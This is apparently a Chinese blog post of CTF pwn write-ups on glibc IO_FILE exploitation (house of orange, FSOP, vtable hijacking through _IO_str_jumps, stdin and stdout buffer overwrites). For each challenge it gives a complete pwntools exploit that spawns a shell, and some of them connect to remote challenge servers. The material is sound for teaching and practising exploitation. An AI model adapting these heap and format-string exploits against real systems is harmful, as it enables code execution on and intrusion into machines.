学了IO_FILE有一段时间了,现在花点时间把做过的IO例题上传到博客上,例题都是从raycp师傅的github仓库下载的,说是做过的题,其实还是照着师傅们的exp写自己的EXP,不定时更新
Vtable_Hajack
pwn450_note_2016东华杯
此题仅能申请一个块,申请大小>=0x200,可释放,可修改,edit的时候有无限制的溢出,环境是2.23,glibc2.23中对vtable位置还没有2.24中添加的限制
利用house of orange将topchunk放进unsorted bins中,然后构造多个unsorted chunk,然后令一个块作为fake_vtable,利用unsorted bins attack令_IO_list_all的指针指向main_arena+88,且在此之前,令(main_arena+88)._chain指向fake_vtable,即将一个size为0x60的chunk块放进smallbins,利用FSOP继而getshell
1 | from pwn import* |
2 | def new(size): |
3 | p.sendlineafter('>>','1') |
4 | p.sendlineafter('size:',str(size)) |
5 | def edit(content): |
6 | p.sendlineafter('>>','3') |
7 | p.sendafter('content:',content) |
8 | def free(): |
9 | p.sendlineafter('>>','4') |
10 | p = process('./main') |
11 | libc= ELF('./libc-2.23.so',checksec=False) |
12 | new(0x200000) |
13 | libc_base = int(p.recvuntil("\n")[:-1],16)- 0x10 + 0x201000 |
14 | IO_list_all=libc_base+libc.sym["_IO_list_all"] |
15 | unsorted_bins=libc_base+libc.sym['__malloc_hook']+0x58 + 0x10 |
16 | system=libc_base+libc.sym['system'] |
17 | free() |
18 | new(0x2F0) |
19 | heap_base = int(p.recvuntil("\n")[:-1],16)-0x10 |
20 | edit('\x00'*0x2F0+p64(0) + p64(0xD01) + '\n') |
21 | free() |
22 | new(0x1000) #the top_chunk will be put into unsorted_bins |
23 | free() |
24 | new(0x2F0) |
25 | edit('\x00'*0x2F8 + p64(0xCE1) + p64(unsorted_bins)*2 + '\x00'*0xCC0 + p64(0xCE0) + p64(0x11) + '\n') #split the chunk that the size is 0x300 from unsorted chunk,and the rest also has been modified. |
26 | free() |
27 | new(0x3F0) #the chunk that the size is 0x300 will be put into small bins,then get chunk from the rest unsorted chunk |
28 | free() |
29 | new(0x2F0) #get the chunk from small bins |
30 | data = '\x00'*0x2F0 + p64(0) + p64(0x401) + p64(heap_base + 0x300 + 0x400) + p64(unsorted_bins) + '\x00'*(0x3F0-0x10) |
31 | fake_IO_FILE = '/bin/sh\x00' + p64(0x61) + p64(unsorted_bins) + p64(IO_list_all -0x10)#make the IO_list_all ->fd =main_arena+88 |
32 | fake_IO_FILE += p64(0) + p64(1)#satisfy write_base < write_ptr |
33 | fake_IO_FILE = fake_IO_FILE.ljust(0xC0,'\x00') |
34 | fake_IO_FILE += p64(0xFFFFFFFFFFFFFFFF) + p64(0)*2 |
35 | vtable = heap_base + 0x300 + 0x400 + len(fake_IO_FILE) + 8 |
36 | fake_IO_FILE += p64(vtable) |
37 | fake_IO_FILE += p64(0) + p64(0) |
38 | fake_IO_FILE += p64(1) + p64(system) |
39 | data += fake_IO_FILE |
40 | edit(data + '\n') |
41 | free() |
42 | new(0x500) |
43 | p.interactive() |
下载
Vtable_Str_Jumps
babyprintf_HCTF2017
由于libc在2.24中添加了对vtable指针的check,所以无法劫持vtable指针指向fake_vtable,然后从raycp师傅的博客以及参考了其他师傅的题解,则此处可以劫持vtable指针指向_IO_str_jumps-8,然后触发_IO_flush_all_lokcp,继而刷新缓冲区,又因前面vtable指向_IO_str_jumps-8,此时会调用finish函数指针,然后控制fake_IO_file中的参数值,即可getshell
1 | from pwn import* |
2 | def new(size,content): |
3 | p.sendlineafter('size: ',str(size)) |
4 | p.sendlineafter('string: ',content) |
5 | p = process('./main') |
6 | libc = ELF('./libc-2.24.so',checksec=False) |
7 | payload = '%p%p%p%p%pLIBC%p' |
8 | payload = payload.ljust(0x2F0,'\x00') |
9 | payload += p64(0) + p64(0xD01) |
10 | new(0x2F0,payload) #leak the libc_base |
11 | p.recvuntil('LIBC') |
12 | libc_base = int(p.recv(14),16) - 241 - libc.sym['__libc_start_main'] |
13 | log.info('LIBC:\t' + hex(libc_base)) |
14 | system = libc_base + libc.sym['system'] |
15 | binsh=libc_base+next(libc.search('/bin/sh')) |
16 | unsorted_bins = libc_base + libc.sym['__malloc_hook'] + 0x10 + 88 |
17 | IO_list_all = libc_base + libc.sym['_IO_list_all'] |
18 | IO_str_jumps = libc_base + 0x3BE4C0 |
19 | new(0x1000,'FMYY') |
20 | data = '\x00'*0x2F0 |
21 | fake_IO_FILE = p64(0) + p64(0x61) + p64(unsorted_bins) + p64(IO_list_all -0x10)#make the IO_list_all ->fd =main_arena+88 |
22 | fake_IO_FILE += p64(0) + p64(1) |
23 | fake_IO_FILE += p64(0) + p64(binsh) |
24 | fake_IO_FILE = fake_IO_FILE.ljust(0xD8,'\x00') |
25 | fake_IO_FILE += p64(IO_str_jumps -8) |
26 | fake_IO_FILE += p64(0) + p64(system) |
27 | data += fake_IO_FILE |
28 | new(0x2F0,data) |
29 | p.sendlineafter('size: ',str(0x10)) |
30 | p.interactive() |
下载
fifty-dollars_ASIS2018
环境依旧是2.24,功能比较齐全,由于有UAF,利用double free可以任意写内容,主要是我在后面想不到好办法将unsorted bins chunk放进small bins,看过师傅的EXP才搞清除,自己还是太菜了
1 | from pwn import* |
2 | def new(index,content): |
3 | p.sendlineafter('choice:','1') |
4 | p.sendlineafter('Index:',str(index)) |
5 | p.sendafter('Content:',content) |
6 | def show(index): |
7 | p.sendlineafter('choice:','2') |
8 | p.sendlineafter('Index:',str(index)) |
9 | def free(index): |
10 | p.sendlineafter('choice:','3') |
11 | p.sendlineafter('Index:',str(index)) |
12 | def modify(addr,data): |
13 | free(3) |
14 | free(4) |
15 | free(3) |
16 | new(3,p64(addr - 0x10)) |
17 | new(4,(p64(0)+p64(0x61)) *5) |
18 | new(3,(p64(0)+p64(0x61)) *5) |
19 | new(9,data) |
20 | p = process('./main') |
21 | libc =ELF('./libc-2.24.so',checksec=False) |
22 | for i in range(10): |
23 | new(i,(p64(0)+p64(0x61)) *5) |
24 | free(0) |
25 | free(1) |
26 | free(0) |
27 | show(0) |
28 | heap_base = u64(p.recvuntil('Done!',drop=True).ljust(8,'\x00')) - 0x60 |
29 | log.info('HEAP:\t' + hex(heap_base)) |
30 | new(0,p64(heap_base + 0x50) + '\x00'*0x38 + p64(0) + p64(0x61)) |
31 | new(1,'FMYY') |
32 | new(0,'FMYY') |
33 | new(0,p64(0) + p64(0xB1)) |
34 | free(1) |
35 | show(1) |
36 | libc_base = u64(p.recv(6).ljust(8,'\x00')) -88 - libc.sym['__malloc_hook'] - 0x10 |
37 | log.info('LIBC:\t' + hex(libc_base)) |
38 | IO_list_all = libc_base + libc.sym['_IO_list_all'] |
39 | system = libc_base + libc.sym['system'] |
40 | IO_str_jumps = libc_base + 0x3BE4C0 |
41 | unsorted_bins = libc_base + libc.sym['__malloc_hook'] + 0x10 + 88 |
42 | binsh = libc_base+libc.search('/bin/sh').next() |
43 | modify(heap_base +0x240,p64(0)+p64(0xA1)) |
44 | free(6) |
45 | new(6,'FMYY') |
46 | |
47 | |
48 | modify(heap_base+0x2A0,p64(0) + p64(0x61)) |
49 | free(7) |
50 | new(7,p64(unsorted_bins) + p64(IO_list_all -0x10)) |
51 | new(7,'FMYY') |
52 | fake_IO_FILE = p64(0) + p64(0xB1) + p64(unsorted_bins) + p64(IO_list_all -0x10)#keep the IO_list_all ->fd =main_arena+88 |
53 | fake_IO_FILE += p64(0) + p64(1) |
54 | fake_IO_FILE += p64(0) + p64(binsh) |
55 | fake_IO_FILE = fake_IO_FILE.ljust(0xD8,'\x00') |
56 | fake_IO_FILE += p64(IO_str_jumps -8) |
57 | fake_IO_FILE += p64(0) + p64(system) |
58 | modify(heap_base +0x60,fake_IO_FILE[0:0x50]) |
59 | modify(heap_base +0x60 + 0x50 + 0x50,fake_IO_FILE[0xA0:]) |
60 | p.sendlineafter('choice:','1') |
61 | p.sendlineafter('Index:',str(0)) |
62 | p.interactive() |
下载
Arbitrary_Read_Write
stackoverflow-WHCTF2017
有个任意地址写单字节0,则将buf_base末字节令为0,然后stdin再次改buf_end为malloc_hook+8,然后就是向下写到malloc,注意利用realloc修栈.常规题.raycp师傅是将malloc_hook改到0x400A23,由于没有对栈操作,所以可以栈溢出的方法做.
1 | from pwn import* |
2 | #context.log_level ='DEBUG' |
3 | p = process('./main') |
4 | libc =ELF('./libc-2.24.so') |
5 | p.sendafter('leave your name, bro:','FMYYSSSS') |
6 | p.recvuntil('FMYYSSSS') |
7 | libc_base = u64(p.recv(6).ljust(8,'\x00')) - 515410 |
8 | malloc_hook = libc_base + libc.sym['__malloc_hook'] |
9 | one_gadget = libc_base + 0xF1651 |
10 | realloc = libc_base + libc.sym['realloc'] |
11 | log.info('LIBC:\t' + hex(libc_base)) |
12 | off = 0x201000 -0x10 + libc.sym['_IO_2_1_stdin_'] + 7*8 |
13 | p.sendlineafter('stackoverflow:',str(off)) |
14 | log.info('OFFSET\t' + hex(off)) |
15 | p.sendlineafter('stackoverflow:',str(0x200000)) |
16 | p.sendlineafter('ropchain','FMYY') |
17 | p.sendafter('stackoverflow', p64(malloc_hook + 8)) |
18 | for i in range(8): |
19 | p.sendline('\x00') |
20 | payload = p64(malloc_hook + 8) + p64(0)*6 |
21 | payload += p64(0xFFFFFFFFFFFFFFFF) + p64(0) |
22 | payload += p64(libc_base + 3946352) + p64(0xFFFFFFFFFFFFFFFF) |
23 | payload += p64(0) + p64(libc_base + 3938720) |
24 | payload += p64(0)*3 + p64(0xFFFFFFFF) |
25 | payload += p64(0)*2 + p64(libc_base + 3924992) |
26 | payload += '\x00'*304 |
27 | payload += p64(libc_base + 3923648) + p64(0)*2 |
28 | payload += p64(one_gadget) + p64(realloc) |
29 | p.sendline(payload) |
30 | p.interactive() |
下载
echo_back From XCTF
题目除了一个SetName外,就只有一个仅能输入7字节的格式化字符串漏洞,通过该漏洞可打印pie,libc,而此处修改stdin中IO的buf_base为\x00继而可以从scanf输入更多的字符,并通过getchar满足read_ptr>=read_end,随笔里面搬运过来的,和上一题类似.
1 | from pwn import* |
2 | p = remote('111.198.29.45',41151) |
3 | #context(log_level='DEBUG') |
4 | libc = ELF('libc-2.23.so',checksec=False) |
5 | def name(name): |
6 | p.sendlineafter('choice','1') |
7 | p.send(name) |
8 | def echo(text): |
9 | p.sendlineafter('choice','2') |
10 | p.sendlineafter('length:','7') |
11 | p.send(text) |
12 | def leak(content): |
13 | echo(content) |
14 | p.recvuntil('anonymous say:') |
15 | return int(p.recv(14),16) |
16 | libc_base = leak('%19$p') - 0xF0 - libc.sym['__libc_start_main'] |
17 | libc.address = libc_base |
18 | pie = leak('%13$p') -0xD08 |
19 | ret = leak('%12$p') + 8 |
20 | system = libc.sym['system'] |
21 | binsh = libc.search('/bin/sh').next() |
22 | pop_rdi_ret = pie + 0xD93 |
23 | name(p64(libc.sym['_IO_2_1_stdin_'] + 8*7)) |
24 | echo('%16$hhn') |
25 | payload = p64(libc.sym['_IO_2_1_stdin_'] + 0x83)*3 + p64(ret) + p64(ret + 0x18) |
26 | p.sendlineafter('choice','2') |
27 | p.sendafter('length:',payload) |
28 | p.sendline() |
29 | for i in range(0,len(payload)-1): |
30 | p.sendlineafter('choice','2') |
31 | p.sendlineafter('length:','0') |
32 | payload = p64(pop_rdi_ret) + p64(binsh) + p64(system) |
33 | p.sendlineafter('choice','2') |
34 | p.sendafter('length:',payload) |
35 | p.sendline() |
36 | p.sendlineafter('choice','3') |
37 | og = [0x45216,0x4526A,0xF02A4,0xF1147] |
38 | one_gadget = libc_base + og[3] |
39 | p.interactive() |
下载
babyprintf_ver2-HCTF2018
Stdout的任意读写,通过覆盖bss段的stdout,将stdout结构体迁移到bss段上,然后构建fake_IO_file即可,其中flag|0x8000,raycp的解释是:
在printf函数中会调用_IO_acquire_lock_clear_flags2 (stdout)来获取lock从而继续程序,如果没有_IO_USER_LOCK标志的话,程序会一直在循环,而_IO_USER_LOCK定义为#define _IO_USER_LOCK 0x8000,因此需要设置flag|=0x8000才能够使exp顺利进行。_IO_acquire_lock_clear_flags2 (stdout)的汇编代码如下:
1 | 0x7f0bcf15d850 <__printf_chk+96> mov rbp, qword ptr [rip + 0x2a16f9] |
2 | 0x7f0bcf15d857 <__printf_chk+103> mov rbx, qword ptr [rbp] |
3 | 0x7f0bcf15d85b <__printf_chk+107> mov eax, dword ptr [rbx] |
4 | 0x7f0bcf15d85d <__printf_chk+109> and eax, 0x8000 |
5 | 0x7f0bcf15d862 <__printf_chk+114> jne __printf_chk+202 <0x7f0bcf15d8ba> |
1 | from pwn import* |
2 | context(log_level='DEBUG',arch='AMD64') |
3 | def FILE(_flags=0,_IO_read_ptr=0,_IO_read_end=0,_IO_read_base=0,_IO_write_base=0,_IO_write_ptr=0,_IO_write_end=0,_IO_buf_base=0,_IO_buf_end=1,_fileno=0,_chain=0): |
4 | fake_IO = flat([ |
5 | _flags, |
6 | _IO_read_ptr, _IO_read_end, _IO_read_base, |
7 | _IO_write_base, _IO_write_ptr, _IO_write_end, |
8 | _IO_buf_base, _IO_buf_end]) |
9 | fake_IO += flat([0,0,0,0,_chain,_fileno]) |
10 | fake_IO += flat([0xFFFFFFFFFFFFFFFF,0,0,0xFFFFFFFFFFFFFFFF,0,0]) |
11 | fake_IO += flat([0,0,0,0xFFFFFFFF,0,0]) |
12 | return fake_IO |
13 | p = process('./main') |
14 | libc = ELF('./libc-2.23.so',checksec=False) |
15 | p.recvuntil('location to ') |
16 | pie = int(p.recvuntil('\n',drop=True),16) - 0x202010 |
17 | log.info('PIE:\t' + hex(pie)) |
18 | fake_IO = FILE(_flags = 0xFBAD8800,_IO_write_base = pie + 0x201FE0,_IO_write_ptr = pie+ 0x201FE0 + 8,_fileno = 1,_IO_read_end=pie + 0x201FE0) |
19 | payload = '\x00'*0x10 |
20 | payload += p64(pie+0x202028) |
21 | payload += fake_IO |
22 | p.sendline(payload) |
23 | p.sendline('FMYY') |
24 | p.recvuntil('permitted!\n') |
25 | libc_base = u64(p.recv(6).ljust(8,'\x00')) - libc.sym['__libc_start_main'] |
26 | log.info('LIBC:\t' + hex(libc_base)) |
27 | malloc_hook = libc_base + libc.sym['__malloc_hook'] |
28 | realloc_hook = libc_base + libc.sym['__realloc_hook'] |
29 | realloc = libc_base + libc.sym['realloc'] |
30 | one_gadget = 0x4526A + libc_base |
31 | fake_IO_write = FILE(_flags = 0xFBAD8000,_IO_write_ptr = malloc_hook,_IO_write_end = malloc_hook + 8,_fileno = 0) |
32 | payload = p64(one_gadget) + p64(0) |
33 | payload += p64(pie+0x202028) |
34 | payload += fake_IO_write |
35 | p.sendline(payload) |
36 | p.sendline('%n') |
37 | p.interactive() |
下载
Magic
四个小时也没有思路,最后查看了WriteUP
1 | from pwn import* |
2 | def create(): |
3 | p.sendlineafter('choice>>','1') |
4 | p.sendafter('name:','FMYY') |
5 | def spell(index,name): |
6 | p.sendlineafter('choice>>','2') |
7 | p.sendlineafter('spell:',str(index)) |
8 | p.sendafter('name:',name) |
9 | def leave(): |
10 | p.sendlineafter('choice>>','4') |
11 | def gift(index): |
12 | p.sendlineafter('choice>>','3') |
13 | p.sendlineafter('chance:',str(index)) |
14 | #context.log_level ='DEBUG' |
15 | p = remote('159.138.137.79',52449) |
16 | #p = process('./main') |
17 | elf = ELF('./main',checksec=False) |
18 | libc = ELF('./libc-2.23.so',checksec=False) |
19 | create() |
20 | spell(0,'\x00') #init the log_FILE |
21 | #----------- #Control the write_ptr point the fron of log_FILE |
22 | for i in range(8): |
23 | spell(-2,'\x00') |
24 | spell(-2,'\x00'*13) |
25 | for i in range(3): |
26 | spell(-2,'\x00') |
27 | spell(-2,'\x00'*9) |
28 | spell(-2,'\x00') |
29 | #----------- |
30 | spell(0,'\x00'*3 + p64(0x231)) |
31 | spell(0,p64(0xFBAD1800) + p64(elf.got['atoi'])) |
32 | libc_base = u64(p.recv(8)) - libc.sym['atoi'] |
33 | system = libc_base + libc.sym['system'] |
34 | rce = libc_base + 0xF1147 |
35 | #----------- |
36 | spell(-2,p64(0)*3) #return the front of log_FILE |
37 | spell(0,'\x00'*2 + p64(0x231)) |
38 | spell(0,p64(0xFBAD1800) + p64(0x6020E0) + p64(0x6020E0 + 0x50) + p64(0)) #leak the heap_base |
39 | log_FILE = u64(p.recv(8)) - 0x10 |
40 | log.info('LOG:\t' + hex(log_FILE)) |
41 | spell(0,p64(log_FILE +0x100)*3) #satisfy _IO_write_ptr <_IO_buf_base < _IO_write_end |
42 | spell(0,p64(elf.got['atoi']+ 0x78 + 23) + p64(elf.got['atoi'] + 0x100)) #modify the _IO_buf_base and _IO_buf_end |
43 | #-----------make the _IO_write_ptr = atoi_got - 1 |
44 | spell(-2,'\x00') |
45 | spell(-2,'\x00'*3) |
46 | spell(-2,'\x00'*4) |
47 | #----------- |
48 | spell(0,p64(rce)) |
49 | p.sendlineafter('choice>>','sh\x00') |
50 | p.interactive() |
分析一下EXP:
由于spell函数取index的时候有个负数溢出,而保存堆指针的-2处即为log_FILE,每次spell之后,*(ptr+40)减去50,而对于FILE文件结构中偏移量为40的地方为_IO_write_ptr
进行第一轮修改,调用fwrite的时候,根据字节数n,_IO_write_ptr +=n,而每次spell _IO_write_ptr -=50,下面部分EXP将_IO_write_ptr设置在了IO_FILE之前
1 | for i in range(8): |
2 | spell(-2,'\x00') |
3 | spell(-2,'\x00'*13) |
4 | for i in range(3): |
5 | spell(-2,'\x00') |
6 | spell(-2,'\x00'*9) |
7 | spell(-2,'\x00') |
进行第二轮修改,spell中fread处会从_IO_read_ptr起读取数据,则此处EXP修改_IO_read_ptr为atoi_got即可泄漏出libc_base
1 | spell(0,'\x00'*3 + p64(0x231)) |
2 | spell(0,p64(0xFBAD1800) + p64(elf.got['atoi'])) |
3 | libc_base = u64(p.recv(8)) - libc.sym['atoi'] |
4 | system = libc_base + libc.sym['system'] |
5 | rce = libc_base + 0xF1147 |
进行第三轮修改,利用负数溢出,调整_IO_write_ptr回到IO_FILE之前,此次修改_IO_read_ptr,泄漏heap_base,然后从而可以满足_IO_write_ptr <_IO_buf_base < _IO_write_end,并修改_IO_buf_base与_IO_buf_end,向atoi_got中写入system
1 | spell(-2,p64(0)*3) #return the front of log_FILE |
2 | spell(0,'\x00'*2 + p64(0x231)) |
3 | spell(0,p64(0xFBAD1800) + p64(0x6020E0) + p64(0x6020E0 + 0x50) + p64(0)) #leak the heap_base |
4 | log_FILE = u64(p.recv(8)) - 0x10 |
5 | log.info('LOG:\t' + hex(log_FILE)) |
6 | spell(0,p64(log_FILE +0x100)*3) #satisfy _IO_write_ptr <_IO_buf_base < _IO_write_end |
7 | spell(0,p64(elf.got['atoi']+ 0x78 + 23) + p64(elf.got['atoi'] + 0x100)) #modify the _IO_buf_base and _IO_buf_end |
8 | spell(-2,'\x00') |
9 | spell(-2,'\x00'*3) |
10 | spell(-2,'\x00'*4) |
11 | spell(0,p64(rce)) |
最后选择的时候即可getshell,此题建议去读读fread,fwrite的源码,里面涉及了部分源码的地方仍需自己去查看
下载
未完待续
参考来源:ray-cp